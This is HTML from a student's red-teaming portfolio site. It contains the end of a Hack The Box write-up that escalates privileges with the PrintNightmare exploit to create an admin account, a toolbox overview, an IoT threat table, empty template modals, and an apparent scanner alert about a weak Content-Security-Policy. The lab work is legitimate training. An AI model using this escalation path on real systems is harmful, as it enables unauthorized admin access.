src="img/portfolio/minor/red/htb_windows/WgetWinpeas.png" alt=""></a> <a href="img/portfolio/minor/red/htb_windows/ProcessPrintSpool.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_windows/ProcessPrintSpool.png" alt=""></a> <p>Really the only interesting thing WinPEAS found was a Print spooler process. After some Googling I stubled across <a href="https://github.com/calebstewart/CVE-2021-1675">this</a> CVE. So lets get that exploit on the target machine in the same way we did with WinPEAS.</p> <a href="img/portfolio/minor/red/htb_windows/WgetPrintNightmare.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_windows/WgetPrintNightmare.png" alt=""></a> <p>I wasn't able to run the script because of some permission issues, but after some Googling I found out I could just set the policy to unrestricted.</p> <a href="img/portfolio/minor/red/htb_windows/RunExploit.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_windows/RunExploit.png" alt=""></a> <p>I ran the exploit and it created a new administrator account for me with a username and password that I chose and know. Now the only thing that's left is just to logout as this user and login with our new user.</p> <a href="img/portfolio/minor/red/htb_windows/RootFlag.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_windows/RootFlag.png" alt=""></a> <p>And that's it! We have the root flag! This box wasn't that hard but still fun and sometimes challenging due to my lack of knowledge of Windows hacking. Overall a fun learning experience.</p> <ul class="list-inline"> <li>Date: October 2021</li> <li>Client: Fontys</li> <li>Category: Minor Red-teaming</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal23" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">EMPLOYER</h2> <p class="item-intro text-muted">TITLE GOES HERE</p> <p>DESCRIPTION GOES HERE</p> <a href="PICTURE"><img class="img-fluid d-block mx-auto" src="SOURCE" alt=""></a> <ul class="list-inline"> <li>Date: DATE</li> <li>Client: CLIENT</li> <li>Category: CATEGORY</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal24" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">EMPLOYER</h2> <p class="item-intro text-muted">TITLE GOES HERE</p> <p>DESCRIPTION GOES HERE</p> <a href="PICTURE"><img class="img-fluid d-block mx-auto" src="SOURCE" alt=""></a> <ul class="list-inline"> <li>Date: DATE</li> <li>Client: CLIENT</li> <li>Category: CATEGORY</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal25" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">Fontys S7</h2> <p class="item-intro text-muted">My personal pen-testing toolboxes</p> <p>Like every other profession good tools make a world of difference on the quality and efficiency of the end product. This isn't any different with cyber security. Good tools can improve results providing you with more information and helping with getting to the results faster.</p> <h3>On the road</h3> <a href="img/portfolio/minor/red/kalilinux.jpg"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/kalilinux.jpg" alt=""></a> <p>On the road when I'm on my laptop I like to use Kali Linux. It's just convenient that it comes pre-loaded with all the tools you need, and it runs fairly lightweight on older laptops. The "kali-undercover" command is also a fun little gimmick that changes your Kali desktop to a Windows clone which for a random passer by looks just like a regular Windows machine. Making it incognito to use Kali whenever you're in a public space and want to keep a low profile.</p> <h3>At home</h3> <a href="img/portfolio/minor/red/parrotos.jpg"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/parrotos.jpg" alt=""></a> <p>At home on my main desktop PC I recently switched to natively running ParrotOS. This was because I liked to try something new and the reviews were good. It comes pre-loaded with the same tools as kali and a few extra tools like diverting all traffic trough tor making the machine even more anonymous. The user experience is a little better and just overall a good looking distro. This comes at a cost because it takes more resources to run. This isn't a problem on my PC because it's quite powerful and I don't have to think about battery life. Alongside ParrotOS I run a Windows VM in qemu with WinApps running on Linux which enables me to run any Windows application I want on Linux. I mostly use it for Microsoft Office products.</p> <h3>Cloud</h3> <a href="img/portfolio/minor/red/googlecloudconsole.PNG"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/googlecloudconsole.PNG" alt=""></a> <p>Google cloud console is an awesome way to always have a Linux machine at your disposal where ever you are. It's fully cloud based and free to use. So when you're in need of a Linux terminal and you have access to a browser you're set. The only downside is that the machine is volatile so when you shut it down it is gone. This requires you to always re-install tools and such. Luckily due to it running on Google cloud it is pretty fast. Just overall a good tool to know about.</p> <a href="img/portfolio/minor/red/guacamole.PNG"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/guacamole.PNG" alt=""></a> <p>Now Guacamole is kinda like Google cloud console, but it's self-hosted. It can turn any machine with a SSH server into a cloud based web terminal accessible from any browser where ever you are. It takes a little time and effort to set it up but it is worth it. All the benefits from Google cloud console but your data is hosted by you and it is saved. In my case I installed Kali Linux on a docker server and now I can access it whenever I need to it doesn't matter if I'm on Windows, Linux or even my phone.</p> <a href="img/portfolio/minor/red/guacamoleconsole.PNG"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/guacamoleconsole.PNG" alt=""></a> <h3>Windows</h3> <a href="img/portfolio/minor/red/wsl.jpg"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/wsl.jpg" alt=""></a> <p>Whenever I'm using Windows and need to do a quick little task that requires Linux I don't want to reboot and boot into Linux because it's a hassle. That's when I use WSL. WSL stands for Windows Subsystem for Linux and it works great. It's not everything for example network related stuff is not possible due to WSL not having direct access to the network card but for other simple stuff it works great. And if I need to do a quick little scan I can use the Windows version of NMap. And if I need a little more functionality I can always use the before mentioned Guacamole to have instant access to a fully functional Kali instance in my browser.</p> <ul class="list-inline"> <li>Date: September 2021</li> <li>Client: Fontys</li> <li>Category: Minor Red-teaming</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal26" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">Fontys S7</h2> <p class="item-intro text-muted">Security of IOT protocols and technology</p> <p>Nowadays more and more people have their home filled with smart devices. Almost everything is smart in some way. Which creates new problems like security. These products weren't made with security in mind, on the contrary, they were made to be cheap and easy to use for people without IT knowledge.</p> <p>This causes IOT products to be, the most of the time, the weakest link in someones network. But IOT is here to stay and it is improving fast so let's take a look at some common security protocols.</p> <table> <tr> <th>Protocol</th> <th>Feature</th> <th>TCP/UDP</th> <th>Security</th> </tr> <tr> <td>LOWPAN</td> <td>WPANs to maintain an IPv6 network</td> <td>TCP</td> <td>SSL</td> </tr> <tr> <td>MQTT</td> <td>To utilize the publish/subscribe pattern to provide transition flexibility and simplicity of implementation </td> <td>TCP</td> <td>SSL</td> </tr> <tr> <td>AMQP</td> <td>To provide publish-subscribe and point-to point communication</td> <td>TCP</td> <td>SSL</td> </tr> <tr> <td>CoAP</td> <td>To connect resource-constrained devices in a secure and reliable way</td> <td>UDP</td> <td>DTLS</td> </tr> <tr> <td>XMPP</td> <td>To transfer instant messaging (IM) standard that is used for multi-party chatting, voice and video calling and telepresence </td> <td>TCP</td> <td>SSL</td> </tr> <tr> <td>DSS</td> <td>To enable scalable, real-time, dependable, high-performance and interoperable data exchanges using a publish–subscribe pattern </td> <td>TCP/UDP</td> <td>SSL</td> </tr> </table> <p>To show the security flaws in IOT devices</p> <table> <thead> <tr class="rowsep-1 valign-top"> <th scope="col">Layers</th> <th scope="col">Attacks</th> <th scope="col">Issues</th> <th scope="col">Control Measures</th> </tr> </thead> <tbody> <tr class="valign-top"> <td class="align-left" rowspan="6">Perception</td> <td class="align-left">Hardware Tempering</td> <td class="align-left">Data Leakage (Keys, Routing Tables, Etc)</td> <td class="align-left">Secure Physical Design</td> </tr> <tr class="valign-top"> <td class="align-left">Fake Node Injection</td> <td class="align-left">Fake Data Manipulation</td> <td class="align-left">Secure Booting</td> </tr> <tr class="valign-top"> <td class="align-left">Malicious Code Injection</td> <td class="align-left">Halt Transmission</td> <td class="align-left">Intrusion Detection Technology (IDT)</td> </tr> <tr class="valign-top"> <td class="align-left">Sleep Denial Attack</td> <td class="align-left">Node Shutdown</td> <td class="align-left">Authentication</td> </tr> <tr class="valign-top"> <td class="align-left">WSN Node Jamming</td> <td class="align-left">Jam Node Communication</td> <td class="align-left">IPSec Security Channel</td> </tr> <tr class="valign-top"> <td class="align-left">RF Interference Of RFID</td> <td class="align-left">Distortion In Node Communication</td> <td class="align-left">Authentication</td> </tr> <tr class="valign-top"> <td class="align-left" rowspan="12">Network</td> <td class="align-left">Traffic Analysis Attacks</td> <td class="align-left">Data Leakage (About Network)</td> <td class="align-left">Routing Security</td> </tr> <tr class="valign-top"> <td class="align-left">RFID Spoofing</td> <td class="align-left">Intrusion In Network Data Manipulation</td> <td class="align-left">GPS Location System</td> </tr> <tr class="valign-top"> <td class="align-left">RFID Unauthorized Access</td> <td class="align-left">Node Data Can Be Modified (Read, Write & Delete)</td> <td class="align-left">Network Authentication</td> </tr> <tr class="valign-top"> <td class="align-left">Sinkhole Attack</td> <td class="align-left">Data Leakage (Data Of The Nodes)</td> <td class="align-left">Security Aware Ad Hoc Routing</td> </tr> <tr class="valign-top"> <td class="align-left">Man In The Middle Attack</td> <td class="align-left">Data Privacy Violation</td> <td class="align-left">Point-To-Point Encryption</td> </tr> <tr class="valign-top"> <td class="align-left">Routing Information Attack</td> <td class="align-left">Routing Loops (Network Destruction)</td> <td class="align-left">Encrypting Routing Tables</td> </tr> <tr class="valign-top"> <td class="align-left">Application Security</td> <td class="align-left">Privacy Violation</td> <td class="align-left">Web Application Scanner</td> </tr> <tr class="valign-top"> <td class="align-left">Data Security</td> <td class="align-left">Data Leakage (User Data On Cloud)</td> <td class="align-left">Homomorphic Encryption</td> </tr> <tr class="valign-top"> <td class="align-left">Underlying Infrastructure Security</td> <td class="align-left">Service Hijacking</td> <td class="align-left">Fragmentation Redundancy Scattering</td> </tr> <tr class="valign-top"> <td class="align-left">Third-Party Relationships</td> <td class="align-left">Data Leakage (User Data On Cloud)</td> <td class="align-left">Encryption</td> </tr> <tr class="valign-top"> <td class="align-left">Shared Resources</td> <td class="align-left">Resources Destruction</td> <td class="align-left">Hyper Safe</td> </tr> <tr class="valign-top"> <td class="align-left">Virtualization Threats</td> <td class="align-left">Resources Theft</td> <td class="align-left">Hyper Safe</td> </tr> <tr class="valign-top"> <td class="align-left" rowspan="6">Application</td> <td class="align-left">Phishing Attacks</td> <td class="align-left">Data Leakage (User Credentials Data)</td> <td class="align-left">Biometrics Authentication</td> </tr> <tr class="valign-top"> <td class="align-left">Virus, Worms, Trojan Horse, Spyware</td> <td class="align-left">Resource Destruction & Hijacking</td> <td class="align-left">Protective Software</td> </tr> <tr class="valign-top"> <td class="align-left">Malicious Scripts</td> <td class="align-left">Hijacking</td> <td class="align-left">Firewalls</td> </tr> <tr class="valign-top"> <td class="align-left">Denial Of Service</td> <td class="align-left">Resource Destruction</td> <td class="align-left">Access Control Lists</td> </tr> <tr class="valign-top"> <td class="align-left">Data Protection And Recovery</td> <td class="align-left">Data Loss & Catastrophic Damage</td> <td class="align-left">Cryptographic Hash Functions</td> </tr> <tr class="valign-top"> <td class="align-left">Software Vulnerabilities</td> <td class="align-left">Buffer Over Flow</td> <td class="align-left">Awareness Of Security</td> </tr> </tbody> </table> <a href="https://www.sciencedirect.com/science/article/pii/S108480452030237X#sec3">Source</a> <p>As seen in this article there are a lot of different vulnerabilities in IOT devices. And not all of them can be solved with just a good security protocol.</p> <a href="PICTURE"><img class="img-fluid d-block mx-auto" src="SOURCE" alt=""></a> <ul class="list-inline"> <li>Date: November 2021</li> <li>Client: Fontys</li> <li>Category: Minor Red-teaming</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal27" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">EMPLOYER</h2> <p class="item-intro text-muted">TITLE GOES HERE</p> <p>DESCRIPTION GOES HERE</p> <a href="PICTURE"><img class="img-fluid d-block mx-auto" src="SOURCE" alt=""></a> <ul class="list-inline"> <li>Date: DATE</li> <li>Client: CLIENT</li> <li>Category: CATEGORY</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal28" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">EMPLOYER</h2> <p class="item-intro text-muted">TITLE GOES HERE</p> <p>DESCRIPTION GOES HERE</p> <a href="PICTURE"><img class="img-fluid d-block mx-auto" src="SOURCE" alt=""></a> <ul class="list-inline"> <li>Date: DATE</li> <li>Client: CLIENT</li> <li>Category: CATEGORY</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal29" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">EMPLOYER</h2> <p class="item-intro text-muted">TITLE GOES HERE</p> <p>DESCRIPTION GOES HERE</p> <a href="PICTURE"><img class="img-fluid d-block mx-auto" src="SOURCE" alt=""></a> <ul class="list-inline"> <li>Date: DATE</li> <li>Client: CLIENT</li> <li>Category: CATEGORY</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal30" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">EMPLOYER</h2> <p class="item-intro text-muted">TITLE GOES HERE</p> <p>DESCRIPTION GOES HERE</p> <a href="PICTURE"><img class="img-fluid d-block mx-auto" src="SOURCE" alt=""></a> <ul class="list-inline"> <li>Date: DATE</li> <li>Client: CLIENT</li> <li>Category: CATEGORY</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal31" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">EMPLOYER</h2> <p class="item-intro text-muted">TITLE GOES HERE</p> <p>DESCRIPTION GOES HERE</p> <a href="PICTURE"><img class="img-fluid d-block mx-auto" src="SOURCE" alt=""></a> <ul class="list-inline"> <li>Date: DATE</li> <li>Client: CLIENT</li> <li>Category: CATEGORY</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal23" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">EMPLOYER</h2> <p class="item-intro text-muted">TITLE GOES HERE</p> <p>DESCRIPTION GOES HERE</p> <a href="PICTURE"><img class="img-fluid d-block mx-auto" src="SOURCE" alt=""></a> <ul class="list-inline"> <li>Date: DATE</li> <li>Client: CLIENT</li> <li>Category: CATEGORY</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal33" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">EMPLOYER</h2> <p class="item-intro text-muted">TITLE GOES HERE</p> <p>DESCRIPTION GOES HERE</p> <a href="PICTURE"><img class="img-fluid d-block mx-auto" src="SOURCE" alt=""></a> <ul class="list-inline"> <li>Date: DATE</li> <li>Client: CLIENT</li> <li>Category: CATEGORY</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal34" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">EMPLOYER</h2> <p class="item-intro text-muted">TITLE GOES HERE</p> <p>DESCRIPTION GOES HERE</p> <a href="PICTURE"><img class="img-fluid d-block mx-auto" src="SOURCE" alt=""></a> <ul class="list-inline"> <li>Date: DATE</li> <li>Client: CLIENT</li> <li>Category: CATEGORY</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal35" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">EMPLOYER</h2> <p class="item-intro text-muted">TITLE GOES HERE</p> <p>DESCRIPTION GOES HERE</p> <a href="PICTURE"><img class="img-fluid d-block mx-auto" src="SOURCE" alt=""></a> <ul class="list-inline"> <li>Date: DATE</li> <li>Client: CLIENT</li> <li>Category: CATEGORY</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal36" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">EMPLOYER</h2> <p class="item-intro text-muted">TITLE GOES HERE</p> <p>DESCRIPTION GOES HERE</p> <a href="PICTURE"><img class="img-fluid d-block mx-auto" src="SOURCE" alt=""></a> <ul class="list-inline"> <li>Date: DATE</li> <li>Client: CLIENT</li> <li>Category: CATEGORY</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal37" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">EMPLOYER</h2> <p class="item-intro text-muted">TITLE GOES HERE</p> <p>DESCRIPTION GOES HERE</p> <a href="PICTURE"><img class="img-fluid d-block mx-auto" src="SOURCE" alt=""></a> <ul class="list-inline"> <li>Date: DATE</li> <li>Client: CLIENT</li> <li>Category: CATEGORY</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal38" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">EMPLOYER</h2> <p class="item-intro text-muted">TITLE GOES HERE</p> <p>DESCRIPTION GOES HERE</p> <a href="PICTURE"><img class="img-fluid d-block mx-auto" src="SOURCE" alt=""></a> <ul class="list-inline"> <li>Date: DATE</li> <li>Client: CLIENT</li> <li>Category: CATEGORY</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal39" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">EMPLOYER</h2> <p class="item-intro text-muted">TITLE GOES HERE</p> <p>DESCRIPTION GOES HERE</p> <a href="PICTURE"><img class="img-fluid d-block mx-auto" src="SOURCE" alt=""></a> <ul class="list-inline"> <li>Date: DATE</li> <li>Client: CLIENT</li> <li>Category: CATEGORY</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal40" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">EMPLOYER</h2> <p class="item-intro text-muted">TITLE GOES HERE</p> <p>DESCRIPTION GOES HERE</p> <a href="PICTURE"><img class="img-fluid d-block mx-auto" src="SOURCE" alt=""></a> <ul class="list-inline"> <li>Date: DATE</li> <li>Client: CLIENT</li> <li>Category: CATEGORY</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <script data-cfasync="false" src="/cdn-cgi/scripts/5c5dd728/cloudflare-static/email-decode.min.js"></script><script src="vendor/jquery/jquery.min.js"></script> <script src="vendor/bootstrap/js/bootstrap.bundle.min.js"></script> <script src="vendor/jquery-easing/jquery.easing.min.js"></script> <script src="js/jqBootstrapValidation.js"></script> <script src="js/contact_me.js"></script> <script src="js/agency.min.js"></script> <script src="https://cdn.jsdelivr.net/gh/google/code-prettify@master/loader/run_prettify.js"></script> </body> </html>Evidence default-src 'self' http: https: data: blob: 'unsafe-inline'Solution Ensure that your web server, application server, load balancer, etc. is properly configured to set the Content-Security-Policy header.
GET https://beekmans.dev/
Alert tags Alert description The following directives either allow wildcard sources (or ancestors), are not defined, or are overly broadly defined:
script-src, style-src, img-src, connects-src, frame-src, frame-ancestors, font-src, media-src, object-src, manifest-src, worker-src, prefetch-src, form-action
The directive(s): frame-ancestors, form-action are among the directives that do not fallback to default-src, missing/excluding them is the same as allowing anything.
Request Request line and header section (224 bytes)
GET https://beekmans.dev/ HTTP/1.1 Host: beekmans.dev User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:82.0) Gecko/20100101 Firefox/82.0 Pragma: no-cache Cache-Control: no-cache Referer: https://beekmans.devRequest body (0 bytes)
Response Status line and header section (1039 bytes)
HTTP/1.1 200 OK Date: Mon, 06 Dec 2021 09:55:13 GMT Content-Type: text/html; charset=UTF-8 Connection: keep-alive vary: Accept-Encoding content-security-policy: default-src 'self' http: https: data: blob: 'unsafe-inline' x-frame-options: SAMEORIGIN x-xss-protection: 1; mode=block x-content-type-options: nosniff referrer-policy: no-referrer-when-downgrade strict-transport-security: max-age=31536000; includeSubDomains; preload CF-Cache-Status: DYNAMIC Expect-CT: max-age=604800, report-uri="https://report-uri.cloudflare.com/cdn-cgi/beacon/expect-ct" Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=O9CfHQgObVNEaGCeR54qKKwytECMmlM5H0bXWDqJpVGo4vNUT18M2ld9NoeIDxTsPe1bzHv%2F9eh3xB7p6KNQNXYdikH5v2vQoVZ4Lqr2%2BgmRM8bXQ1W95L9VnzmijHE%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 6b94a326098f0c09-AMS alt-svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400, h3-28=":443"; ma=86400, h3-27=":443"; ma=86400Response body (178339 bytes)
<!DOCTYPE html> <html lang="en"> <head> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no"> <meta name="description" content=""> <meta name="author" content=""> <title>Cyber portfolio</title> <link href="vendor/bootstrap/css/bootstrap.min.css" rel="stylesheet"> <link href="vendor/fontawesome-free/css/all.min.css" rel="stylesheet" type="text/css"> <link href="https://fonts.googleapis.com/css?family=Montserrat:400,700" rel="stylesheet" type="text/css"> <link href='https://fonts.googleapis.com/css?family=Kaushan+Script' rel='stylesheet' type='text/css'> <link href='https://fonts.googleapis.com/css?family=Droid+Serif:400,700,400italic,700italic' rel='stylesheet' type='text/css'> <link href='https://fonts.googleapis.com/css?family=Roboto+Slab:400,100,300,700' rel='stylesheet' type='text/css'> <link href="css/agency.min.css" rel="stylesheet"> </head> <body id="page-top"> <nav class="navbar navbar-expand-lg navbar-dark fixed-top" id="mainNav"> <div class="container"> <a class="navbar-brand js-scroll-trigger" href="#page-top">Cyber security</a> <button class="navbar-toggler navbar-toggler-right" type="button" data-toggle="collapse" data-target="#navbarResponsive" aria-controls="navbarResponsive" aria-expanded="false" aria-label="Toggle navigation"> Menu <i class="fas fa-bars"></i> </button> <div class="collapse navbar-collapse" id="navbarResponsive"> <ul class="navbar-nav text-uppercase ml-auto"> <li class="nav-item"> <a class="nav-link js-scroll-trigger" href="#services">Services</a> </li> <li class="nav-item"> <a class="nav-link js-scroll-trigger" href="#portfolio">Portfolio</a> </li> <li class="nav-item"> <a class="nav-link js-scroll-trigger" href="#about">About</a> </li> <li class="nav-item"> <a class="nav-link js-scroll-trigger" href="#team">Team</a> </li> <li class="nav-item"> <a class="nav-link js-scroll-trigger" href="#contact">Contact</a> </li> </ul> </div> </div> </nav> <header class="masthead"> <div class="container"> <div class="intro-text"> <div class="intro-lead-in">Welcome To My Portfolio!</div> <div class="intro-heading text-uppercase">It's Nice To Meet You</div> <a class="btn btn-primary btn-xl text-uppercase js-scroll-trigger" href="#services">Tell Me More</a> </div> </div> </header> <section id="services"> <div class="container"> <div class="row"> <div class="col-lg-12 text-center"> <h2 class="section-heading text-uppercase">Introduction</h2> <h3 class="section-subheading text-muted">My project.</h3> </div> </div> <div class="row text-center"> <div class="col-md-4"> <span class="fa-stack fa-4x"> <i class="fas fa-circle fa-stack-2x text-primary"></i> <i class="fas fa-shopping-cart fa-stack-1x fa-inverse"></i> </span> <h4 class="service-heading">Environment</h4> <p class="text-muted">I'm using my own Hyper visor (Microsoft's Hyper-V) on a private server in my home. I can connect via a VPN that's also running on this server to my home network to remotely manage the server and manage and deploy VM's. The server is an old DELL T310 with a Xeon x3440, 24GB ddr3 registered ecc 1333mhz memory and all VM's are installed on a Crucial MX500 ssd. The server is part of the home network just like every other computer in my home.</p> </div> <div class="col-md-4"> <span class="fa-stack fa-4x"> <i class="fas fa-circle fa-stack-2x text-primary"></i> <i class="fas fa-laptop fa-stack-1x fa-inverse"></i> </span> <h4 class="service-heading">Context</h4> <p class="text-muted">The network I'm building has as focus a webhosting company with some onsite employee's maybe a place for guests and some webservers hosting different websites.</p> </div> <div class="col-md-4"> <span class="fa-stack fa-4x"> <i class="fas fa-circle fa-stack-2x text-primary"></i> <i class="fas fa-lock fa-stack-1x fa-inverse"></i> </span> <h4 class="service-heading">Security</h4> <p 